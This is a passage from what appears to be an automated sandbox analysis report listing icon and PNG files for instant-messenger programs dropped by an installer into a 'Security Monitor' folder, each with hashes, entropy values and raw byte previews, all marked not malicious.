SHA1:	B64CB43619FF5F96F26C0FEFD03CB96373E1E0D9
SHA-256:	DB32B69F2877535C81DFD48ACCA5251BCEED320C1E8A03135F8C80C11D6F248A
SHA-512:	ED6CDB303CBEF7378C1EE1EBF22F9EACF59D354F3157766E486F2A8CEB5E30F11B11F0D289B254F83197F07208C7DF3A14E9EBA3680E38D6CCE6D4AD791F3DCE
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..............................................{ .{..{..{..{..{..{ .................................{ .{..{..{..{..{..{..{..{ ............................i:7.i:7.i:7.i:7.i:7.i:7.._Y..{..zr..YP..YP......SK.SK..SK..SK..SK..SK..SK..SK..SK..QJ.i:7..{..{..YP..YP..YP..SK..SK..SK..SK..SK..SK..SK..SK..SK..SK.i:7..{..{..YP..YP..YP..SK..SK..SK..SK..SK......SK..SK..SK..SK.i:7..{..{..YP..YP..YP..SK..SK..SK..SK..SK......SK..SK..SK..SK.i:7..{..{..YP..YP..YP..SK..SK..SK..SK..SK......SK..SK..SK..SK.i:7..{..{..YP..YP..YP..SK..SK..SK..SK..SK......SK..SK..SK..SK.i:7..{..{..YP..YP..YP..SK..SK..SK..SK..SK......SK..SK..SK..SK.i:7..{..x..YP..YP..YP.SK..SK..SK......................SK..SK.i:7..{..................SK..SK..SK..SK..SK..SK..SK..SK..SK..SK.q?;..{..YP..YP..YP..YP..SK.SK..SK..SK..SK..SK..SK..SK..SK..VN..{..{..YP..YP..YP..YP..........................{..{..{..{..{..{..^U..YP..YP..YP..........................{..{..{..{..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-V1P7E.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.949963945175186
Encrypted:	false
SSDEEP:	24:PE14x6qLv19cI/PRw1ZoPh+tV/HFm+TIe0WmY:s1ALtDtPh+tVvz0WB
MD5:	E929E2F2B14B9EC2EC42A663F3C7EEC2
SHA1:	2E66730E02EEDA9641153D48F408CECFB72E92F6
SHA-256:	A6DB330F99F450E9BBA286E6FE96B13DD8DA5079A7A1F8E191A09123C6A61906
SHA-512:	5AFBE7ABB77DA9F37D5E0392BE622C8AC8BA0C07F02430E5F5FEC624074F12ABA39BEFF2AA4D44CD3029886A8B71BE7AEAE9F6AED8A95D83369984EC39CF066C
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ........................................................E@...K...$..].......................................#.../...C...N0...]!..^...J..............................A&......P...U17>.FOX.Q\g.Vbm.z:..j)..J...].."............A..4^...C;@.OWa.Ual.ox...............^\.y5..g..x-..."......L...`...]%..................................j#..}7...G...5.T....8..Ic........................................<...K...O#..E.......A..h'..............w...v................I...u4..]$...F..Y!......v&.h&.............................V`j..C....@..m0...J..\|(......{)..E!..zq.ehm..........................C...n...<..S..z'.......7.g:.i7".....TUY..................rY..O..._ ..~3.....y(......K..\|7.{C#.._;..~E.^E0.{oj...~.lRP.e3...x3..v..q...;..v'......R...1..d9..yM.(:...v..<..v'..b....^...o$...>..y...+..i.#..........8q.}0..r.......N..h...^%...<..S.....?...1..p...................p"......{..w..W..L..N..A...5...*..u$..........................].:..-..J..;......\|(..y&..u

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-V390T.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.042561065627236
Encrypted:	false
SSDEEP:	12:Fw3//////oXgAo////////go/P/wK/////YTQRY9K///pLKe//v7WVh5y//ze2JW:7BQC9BDRClcc3TIVBw0CC/6upx8y/V
MD5:	58BB5428EE336A048C0EAEDD11B08CBE
SHA1:	E40B41DCE19B4CEE84943905ACC31F0B624A22DC
SHA-256:	619AB6CC1EB6D48676BA555BFEC94798B8E043052967FAD42356E9D8BFCD08D9
SHA-512:	1424FE21796F05B1BB963F857BE61BD805775BC5F56B1A5ADBA8372057AEAFE01ED559EE9F29212BB74D9A1BF90F4F44DCC27AE09D1A02A674094BF8D7FA2045
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .............................................................................................................................../............../......................................................./.............._.............................................._................/...........................................................................................O...........`...P...........o...........................0...... .........O...................0...................."...a..............p......................................................................./....+..1...q..............X..1..1..1..1..(............(...H...H.............H...H..........j...H................Z...`...`...j...........................s...M................p...w...w...w.........................`......`.............P...............\|.........s...

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-VMNQ3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	1.0136328376606665
Encrypted:	false
SSDEEP:	12:A555L5rr5r5r5r5Lr5L5r5L5L5555555L5556DGkD7GPMg:CiGEg
MD5:	D71543D4396E09496F7724F2EB51819D
SHA1:	8C60CABA094161202D8FCBF5E787E83E586A73D5
SHA-256:	52440F7AC22968C6FB7AB07ECB382F8F047B4EB3989843BF5F396B965F2BECFE
SHA-512:	1A6A95B7FDD731F6CFB55F62DB567DD4EC162872081B8B19DF9BDE1530765FB4ED683959B43E73C1E222389EFEA7554401188B4AE0D65ED3BAE4CD124C21A982
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-VMP9K.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	604
Entropy (8bit):	7.566535696722621
Encrypted:	false
SSDEEP:	12:6v/71+R52wdTd01ObCNVVeNROSj6OjPXgEFE7LEgcuq/yp61MVKCXXN:bR5RG1iwVsRPj68vgvEgcN/RKVBXN
MD5:	4AC295DB7E483693981CDE5340D6DD06
SHA1:	2940C14BCC2C1C975D7DC484C43618F8028350A3
SHA-256:	5DF1EB6894459E748C599DEA4119DBD85F8EE024A7932ADC49E80AED7BC3CDE2
SHA-512:	05562C55530620A0860B6E636C45F035ACAFFF4F468B3F29491D909C795102377F778951033B93A8C143D87D7F779E03381E415B914EB1E8198EB0E838243E18
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a...#IDATx.S.k.Q..f7b.j.m).c+.h.F.(.......?@.....x..^..A/J....TAk......&b]-".....yo...evf.........LP9=...........ZH.!.....1..r.*.....u......8bi..$b...~..m,..&k..47=.U..A...Z......M...9N..4V.._C.....o.. b.nN"..OE....d.].1A...\|.C..}85;...@Bp.t.A..wW.B7......&.Q......D..p..}l...Bm..j..K#E..Y.t.pc.._<G....r_...X.;1..w...f.......b...uK..XF..c\|y..{...../a......<...+....F.......r..<..Je..k.y....08v.kk....\|>.r.,.............J...}..f...M.\|'Z.6.m....;3..B'.Mo........pf3.v.....>....4cL&m.F......&1+.... )....kri.......g...ip;...A.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-VVBTQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	675
Entropy (8bit):	7.483904311870301
Encrypted:	false
SSDEEP:	12:6v/7doMHmeia+juikJeSnm7XW6rJ5XUkABLVsHAVSjneDkMC1:Ao9La+juxnm55uLPs1
MD5:	BD04877B6C91557B84463719664B0292
SHA1:	6B5783097D914F8A463363843B8D24C6C933DDFE
SHA-256:	B2FE786345D8E1802BAA576C0E359240EA2811BCAB1BADB433743792BB9FAA77
SHA-512:	715C6079A00306A46E221C432336B1A4AD23DA6D8AB6BDE7D9F992DF162AAA04D9332D3BAF84DBD6CBA0D4160DE4DE773F266F556CBBEAA015A5D54DC078D33E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a...jIDATx.cd... 6.bQ(.+....o...#.+....gee..\|...o...R.l;....{qg.....5...k.......Qy.)....r..8...4.c..=.Wo.u...8...........tb.J....s..^..S~..c...\..XPQQ.H......>..b......._V.+g..:.N]...........O....._`X.>.........o..&.".^....5..C.M........8y...3f..s..../_...a..>.@Q.PUU....-...6,.>...(.AJJj!..0.,,....!...+ &&&.......xT.S...Z:HC...O.>../,X. .....l.%(...........m..F.W..N....:..SV>X...:q.DGF..@k.].XYYy..Cf..7.J(...e.``...p`.........~...../.....t..O.}P.W.....q....}...;h.....e........A..v.......L....~.. .&0s...{...i...fggO-,,.......={..$......333..3......Kkjj.@...~..kWW..K.N d.8<....;0...[.x5..\.'.i......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\none.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	1.0136328376606665
Encrypted:	false
SSDEEP:	12:A555L5rr5r5r5r5Lr5L5r5L5L5555555L5556DGkD7GPMg:CiGEg
MD5:	D71543D4396E09496F7724F2EB51819D
SHA1:	8C60CABA094161202D8FCBF5E787E83E586A73D5
SHA-256:	52440F7AC22968C6FB7AB07ECB382F8F047B4EB3989843BF5F396B965F2BECFE
SHA-512:	1A6A95B7FDD731F6CFB55F62DB567DD4EC162872081B8B19DF9BDE1530765FB4ED683959B43E73C1E222389EFEA7554401188B4AE0D65ED3BAE4CD124C21A982
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\none.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	318
Entropy (8bit):	6.697181871409298
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+aWg7NSRAkPY+kW37wjNaI79UL00H3zSiw2p:6v/78/2VRZbW37wV9UL00N
MD5:	E472E7B1F2BF2829B8625C32CB02B0A8
SHA1:	49275242752EEC7DFB1ED14A2968F02439EAE54D
SHA-256:	FA0F63928ABF3B36BE9D310A257CABD413B7E7B7D7D92A0975C7FAA7CB2F370E
SHA-512:	02E865BF6802EF4B3851E87A3E0C984395D5A90FFD7C6282F858E8ED2A74769BD968C637ABCC710BE3290CD0D947FBC5620FBA3510CB3ABB29991278F20C44B8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.paint.net 4.0.134.[z....IDAT8O....P...J...@ ... ....Hv.@v.D%........`....M^.=Mh8.4.{i.6....8...m.c@.....a..q...l...'..c...R.Aas.qJg1.......;1.....~.....b.....{u.dt...^.....`..:72..Ru'..2..4_......].....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\qip.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.614804652904851
Encrypted:	false
SSDEEP:	24:Biiii8ibi0TiSDiiuYxId1diiiiSiiiwKrkIzpJi4arAJbJbJbJbJDg:Biiii8ibiaiSDiiTxIfdiiiiSiiiwKr2
MD5:	92E919F7716BFEC2191169F9D1513737
SHA1:	E7BEB2821E116084C0A516D754A0C7A534956BD6
SHA-256:	C5CB556AFCF8E5F48AA604646FFE93AEDE2607342C4AA93D70791ED8C4FFFE4B
SHA-512:	574F731D0220B353AEAC4B442E6ADED51CE54A7BE93BF3EFC3A7EB8F15161FAA3A1806C859C585ACCC351195AA0376608A5ED5B126DD552296D2305367008014
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .............................................\|\|\|.\|\|\|.\|\|\|.\|\|\|.\|\|\|.\|\|\|.............................\|\|\|.\|\|\|.\|\|\|.........................\|\|\|.\|\|\|.\|\|\|.................\|\|\|.....\|\|\|.......=...$..Y...Q......\|\|\|.....\|\|\|.........\|\|\|.\|\|\|.\|\|\|.....\|\|\|.......T...7..n ..`%.....\|\|\|.....\|\|\|.\|\|\|.\|\|\|.\|\|\|.............\|\|\|...../.n...J...(..g'.....\|\|\|.............\|\|\|.\|\|\|.....\|\|\|.....\|\|\|..........a...,..u(.....\|\|\|.....\|\|\|.....\|\|\|.\|\|\|.............\|\|\|.....{....Z...3..z*.....\|\|\|.............\|\|\|.\|\|\|.\|\|\|.\|\|\|.\|\|\|.\|\|\|.........................\|\|\|.\|\|\|.\|\|\|.\|\|\|.\|\|\|.................\|\|\|.....'.U...A..t3..o:.....\|\|\|.................................\|\|\|.......Y...7..q...\".....\|\|\|.................................\|\|\|.....{....\...-..r&.....\|\|\|.................................\|\|\|.....o.~...^.-.C.=.>.....\|\|\|.................................\|\|\|.........................\|\|\|.....................................\|\|\|.....\|\|\|.}}}.\|\|\|.\|\|\|.........................................\|\|\|.....\|\|\|...........

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\qip.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	488
Entropy (8bit):	7.3920224953533245
Encrypted:	false
SSDEEP:	12:6v/7drHlKbwPKM5RMujiE9hN+clw+798b7w6sJ:orHkbwSwMujiE1+V+JukJ
MD5:	694A53E27D606EC219A2701C6DD6926C
SHA1:	E2EF3DA049160DB18AC5AC2D770B3F05F219722A
SHA-256:	0AD6EB5F37D593E9096640D5C0440D108BE85DCBB0C726CB5E0C8802E1B3421B
SHA-512:	B246D42344E90922EFCCFAB836BADC30DBA8E370BEE29E03524B0310FCDC9FEB727BEF32EDB695DD42B72FC99543520B91D8179A83ECC479C709DB9077861216
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..K.a....[J..............D.4...I...Q8.iT.......D$-EC.%G.IP....R+.....4.{....s<......-....!.#H=..p........r....!...z=l6....o.8..$.T}...........N'...\....e.3...C8.n..3..R..-y.....j0cX.x.o...4...#!>!u...X..".....V+.!..<#{E.R.aj....J...,,....O.N..8O.C"... ..6R.l6.7B.....9..%.{.b.L..C.ET..v.=....P..x'.....V.s.V...A<w...9...\....T..E...\|...d;`....,G..O..#i..PD6.....5....n....4..<2.4......`.../S..u.>..;._........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\skype.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.042561065627236
Encrypted:	false
SSDEEP:	12:Fw3//////oXgAo////////go/P/wK/////YTQRY9K///pLKe//v7WVh5y//ze2JW:7BQC9BDRClcc3TIVBw0CC/6upx8y/V
MD5:	58BB5428EE336A048C0EAEDD11B08CBE
SHA1:	E40B41DCE19B4CEE84943905ACC31F0B624A22DC
SHA-256:	619AB6CC1EB6D48676BA555BFEC94798B8E043052967FAD42356E9D8BFCD08D9
SHA-512:	1424FE21796F05B1BB963F857BE61BD805775BC5F56B1A5ADBA8372057AEAFE01ED559EE9F29212BB74D9A1BF90F4F44DCC27AE09D1A02A674094BF8D7FA2045
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .............................................................................................................................../............../......................................................./.............._.............................................._................/...........................................................................................O...........`...P...........o...........................0...... .........O...................0...................."...a..............p......................................................................./....+..1...q..............X..1..1..1..1..(............(...H...H.............H...H..........j...H................Z...`...`...j...........................s...M................p...w...w...w.........................`......`.............P...............\|.........s...

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\skype.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	563
Entropy (8bit):	7.517174524579319
Encrypted:	false
SSDEEP:	12:6v/7w//AIiO/vrFWdRdGBvXRwnHbMwigmsA7F9fS6ofSZHRQX+K:FB/vrEDdGh0ig8zKzSFk+K
MD5:	DB972EE37A5D0AEF2AEA2FE741B82C1D
SHA1:	C286B9CFEDA3CB6D3E19E1D7747790C52D84D377
SHA-256:	6A09E141A38F22AF46750BA3186AB260B0C566DDCA209B083623D8305BDF14A2
SHA-512:	9F35E67F88A4A250F8F983C8273DFD76F07A8CEEFBF54BA97D73FD1AB4C62508D8999AACD204E73CD04B86A0556AF895CA4BC07A722FB3D6143B7B07FF20BFF6
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx...O.A...v...aU<..b.@.F8y!..;.J ..{.w)^ML..../-..0!....GBS.=...v.......v...If.....;.......}.9...k......Q[...YV.........y\|.I\....QUb.....^ HN.....F.y...0r#.d...+.>.`.".....\|....:b..sB.xq..~..]$(U.G....M.;?]\|.....0..I.$\|..7.xz.@....R-......../.....,7C.%.<.".....0N.\|. ........[UU]....0....=.f.2........G...C..p.. ....h...(...r...dR.I.]..h{.d...z~......s_.(U\|..(<J ._.<.+.#,.su3.^.Q&.....ir.j.V....E}...C>.o.m...A..;......E..C./..J...!..I.*....8ij...W._.@;..[.....O.......-V.xD8.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\slack.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.568471936906983
Encrypted:	false
SSDEEP:	24:EsvbDZdGE4mTfyxt6fSgSgd7+WmhOXYvTTT5:jH8mm6KXkSW1OTTT5
MD5:	60EEE3F506D7E7F1A87845F441D2FB09
SHA1:	E3D9A990606A52FB057237EB1F1435605CDDF360
SHA-256:	E4C99A376C5625C022A1CEE0422382E58516350B5602779286131579DDBFD108
SHA-512:	54CE729C0033D0E3C5ABF33D0F67BC5E9032A4374CC274E978F1129AE44276D6AE58B83DCE6CCFE72CA3681B3F3BEB6FDB0928843D6246180AACF50A2BDED936
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .............................................KKK)...i...........iKKK)................................\\\/..............................\\\/....................\|\|\|J........................................~~~I............\\\/................Z....s..w.......................\\\/........................r..Z...._..~...\..........................QQQ).................r..Z...._..............................QQQ)...i........Z....U...{..Z....g..{..............................i............n...y.......q..........n...g...g...y..............................p...p...x.....................}...............i.........6...6...6...6......p.}........\.}.............hQQQ)..........................g.}.....................QQQ).........................h......h.}.............................^^^..................6......y.}..................eee+...............H.......................................H....................^^^..........................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\slack.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	842
Entropy (8bit):	7.696472050125109
Encrypted:	false
SSDEEP:	12:6v/7MV8c2Qwrnehd6jw2pCreHWZJl2TKpwsC/eYvbojK1YOfjypI2Sc6jisxYw3Y:ycajeH61peeHauKVOFvbp7gb65Xm1
MD5:	27858239558F8642F02A7770829F8325
SHA1:	13BA5FC4427044C1343D62F4F9D552C6C62B18B6
SHA-256:	C470C09448A1BFBDD59F53A6E4C563E9584FF8CA083895A4887ABBAA39EDB823
SHA-512:	4E0A4AC0E33EA15BC546D56D552A3C1A8995DF8D319418D6E6CA066FC25CA8EB9E9A77F1373D4A7236BE1F5B0FE0DFEE9D62F3F559CFE3C0B2311FC0C830EA45
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.mSkHSa.~..9..Q.$.NQ1.2... Z.)+.H.4..K.R.......`..y..BfXV:..vQ,.()4..l.R......:.cf..9..{..y..y..\|....B....E"Q.{a4....wuu.0G.g1...T.WUU....f..Az..\.Z........u.'.QQQq....A ...q.0`.......A.W$.;.?R...fP.T..~...`........ ..M..x8kG.?.......' ',.c......dF.g..{zzZ#.H.[r'.P.XG....L......AGq+J.n.i.%444.`.....1nq.......+...\.....MS.@........\|.><.....DOOO^bbb.+......u...0..../..>....&~..@......G......-].]h`.^vl.,d.....p...1(.O.M?........M.`ll......).X\..^'._!\|...\.....x...?.........GGG....yIIIu..X....X$.....@.....%8..F.,.).....:7...q.m...-..).-..v.Ap...\.mx.M......7.P(..5.t.zf.......R......i.....^~.n....5222.3..T[[....=[./`..0=....6~..?,.<I&X......X.n+...%...hX+..V..>...2C.c.4..(...s.Z.....s[y..Q"-))).........'L..3....i[.e2YHVVV.g.....i...q....N...W....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\trillian.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.304963365030796
Encrypted:	false
SSDEEP:	24:cKwiwjHRFNgmsPn71386ICxQo0hkNNNNN9:cMwjxFpi386Yo0ib
MD5:	19A1D5E299A9AEEF8E449AE555935968
SHA1:	E7C1EA89DE88FEE6B616ABBE5365C5AA3E42F672
SHA-256:	27CC231887F86DDB6FF938C1FBBC2CE319057BF90382B764AF86ED3F9C47CCB8
SHA-512:	973CCD95A012657F00B195AF3558E5E67B2AD194F9261EC3E8FD9FFC4F423E10A730E4D0ABFC4243F91FAD35097BE09D1DD0D1646CFCF1821F1928E23015CB8E
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ...............................................................u...................U...................................@'''.....................[[[....U...........................5kkk.............................OOO.........................))).................J4..:)..@@@........................................qqq.SV..w.,...+.....oN...............................*..............\|./...<...@.mL...........................@...j....bbb.0!........N........s0.....aaa%...........U....[[[.........KKK..m...B.....u.....aaa%............zzz......................................_...............U................GGG.....\\\.PPP.............................OOO.........@@@.6C..h...}...>...........................................J4....+.{.....,.............................................HHH.l...-...I...~..D.................................333.........lL.............f.KKK0............................... ggg..........t......T.aaaJ..........

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\trillian.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	675
Entropy (8bit):	7.483904311870301
Encrypted:	false
SSDEEP:	12:6v/7doMHmeia+juikJeSnm7XW6rJ5XUkABLVsHAVSjneDkMC1:Ao9La+juxnm55uLPs1
MD5:	BD04877B6C91557B84463719664B0292
SHA1:	6B5783097D914F8A463363843B8D24C6C933DDFE
SHA-256:	B2FE786345D8E1802BAA576C0E359240EA2811BCAB1BADB433743792BB9FAA77
SHA-512:	715C6079A00306A46E221C432336B1A4AD23DA6D8AB6BDE7D9F992DF162AAA04D9332D3BAF84DBD6CBA0D4160DE4DE773F266F556CBBEAA015A5D54DC078D33E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a...jIDATx.cd... 6.bQ(.+....o...#.+....gee..\|...o...R.l;....{qg.....5...k.......Qy.)....r..8...4.c..=.Wo.u...8...........tb.J....s..^..S~..c...\..XPQQ.H......>..b......._V.+g..:.N]...........O....._`X.>.........o..&.".^....5..C.M........8y...3f..s..../_...a..>.@Q.PUU....-...6,.>...(.AJJj!..0.,,....!...+ &&&.......xT.S...Z:HC...O.>../,X. .....l.%(...........m..F.W..N....:..SV>X...:q.DGF..@k.].XYYy..Cf..7.J(...e.``...p`.........~...../.....t..O.}P.W.....q....}...;h.....e........A..v.......L....~.. .&0s...{...i...fggO-,,.......={..$......333..3......Kkjj.@...~..kWW..K.N d.8<....;0...[.x5..\.'.i......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\windows live messenger.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.984582163595734
Encrypted:	false
SSDEEP:	24:ltjzPCZMaBUC2R0pwXqeCvJX/JutpSu39Gl/GofW9y88rk:ltj05gBXqeCJ/8pSx/Gp9y88w
MD5:	4EAA9A0B583BB8C8A369753DBD0DD0EB
SHA1:	2D8F80DF55ADB806651E9B90C32C287825EFA9B6
SHA-256:	EABEFD31E31D5141F75E760FCF96F14844F0824BD20C3FAD28C6E7C6AF4342FB
SHA-512:	B4B5CE8697B0B195F5DFF361B7822207CBC8BB07A3318154A4652A663F9715958770B55ED9D8B0F5EE37AC5BCDD19C4D2389E7D644187B86762565ED27613D8D
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..........................................................................................................................t4..z9..z9..z9..t5.....................!.9.&.=.!.9.!.9..v4..q3..z9..H..E...D..z9..q3..q3........OG.X.=.O.-.C.`.v.`.v..x8..W..z9...M.f...5...+...%...+.../...?...I.[.\.s.8.O.[.o.[.o...D.....G...J...X...a...X...O...K...V...U...=...`.t.?.d.S...J...S...a...o...a...J...E.....y..d...B.....J...O...Q...Z...f...s...i...W...N........j............K...../...J...X...[...X...L...b....z.................z..Pi........R.eHc.w.m..s...........V....................U..U.............R.eoQ.d.O.b.M.`.L.^.g.Zl.W..W..W..W..W..W.....................:.JW9.J.9.I.9.I`.....q3$.z<.r3..{=.t5$........................:.K.......9.I......{=..\|......X..\|>.........................;.K......:.J......s4.........\|..v6.........................;.LE;.L.:.K.:.KN......@........t...A..............................................~?!..E..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\windows live messenger.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	763
Entropy (8bit):	7.6950381846314215
Encrypted:	false
SSDEEP:	12:6v/71dxGeeaA/as1IpxNhX3HqPPwVS2TgW41SeJq5RXB4f4a:oqeeaAT1IpxNhKXNW5VBO4a
MD5:	F38AF891CBBDCD155644E65363A01520
SHA1:	BA161945A3E87EA2B3735165854E8AEF28B4F201
SHA-256:	DEF30878F80E5B00CE9F334170DD6369127C52E03959F5673B7193D8B21EE80D
SHA-512:	AFB7BD4EECEF8B2E9E082E3A7203DC393E92683B4AD2B301072A4BC8C22D710AF740BC553EE92997C714FD80F993A3BE0257EC09FF46C75AEEC3EB615553613C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..iHTQ...o..of..mT,M.@..Q).R"A.......Yb~0+..,../.}.>....X...J..DV..6.3..t.w{c$A.A....=.w.{....j'.....4-.K$T...W.w$...3m.H........ZT._.t6$..4.....\Z.....#.Z.....V.Og.....Z.oxm._..F..:.;,..0..1.Y.i..^....;qs..}..F..m.6].....JH..W.1.......D.....Rn..!O..T,%..z.........{(........,._.....&....#...........9">..#N..?....l.D.dO..&.....4....0..V}$b"u...ly..0....].F....S........b.....U......P.....@&.B....0.A.\~}A....I!..Eg..0.Z...M^........O.2.Z_.4.Jpv..6C...D.td.....94Db..E..7..,.J...J-..2..,..8T....p.#C.k..SU.y..g[..~a^.q.=.C6k....w.IT+4../...eY..p.P..En.....rY... "j.... .^..l......:.p}PS6P........o...fdD..8.S.&..(Z...A...uqD...f.Y.i2.{?s...}.fMNK..u.].z3.....'....K.R....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\yahoo! messenger.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	6.275771912287761
Encrypted:	false
SSDEEP:	24:INtkHVr7SidRa/Obkfbw8H1y3LIseAevOGZ0bTsB:LVPS0a2AfjeIEeBZ0bTsB
MD5:	6A4FEA20675B423DC5B6AFC565BA2D57
SHA1:	D241A8C16A86789F1B28EAA58B164AE6C9457FC1
SHA-256:	73EC225A303B4A44537CBBCFEB5FC07BB8EEB9FDFE0FACA788309CC7C75F3F74
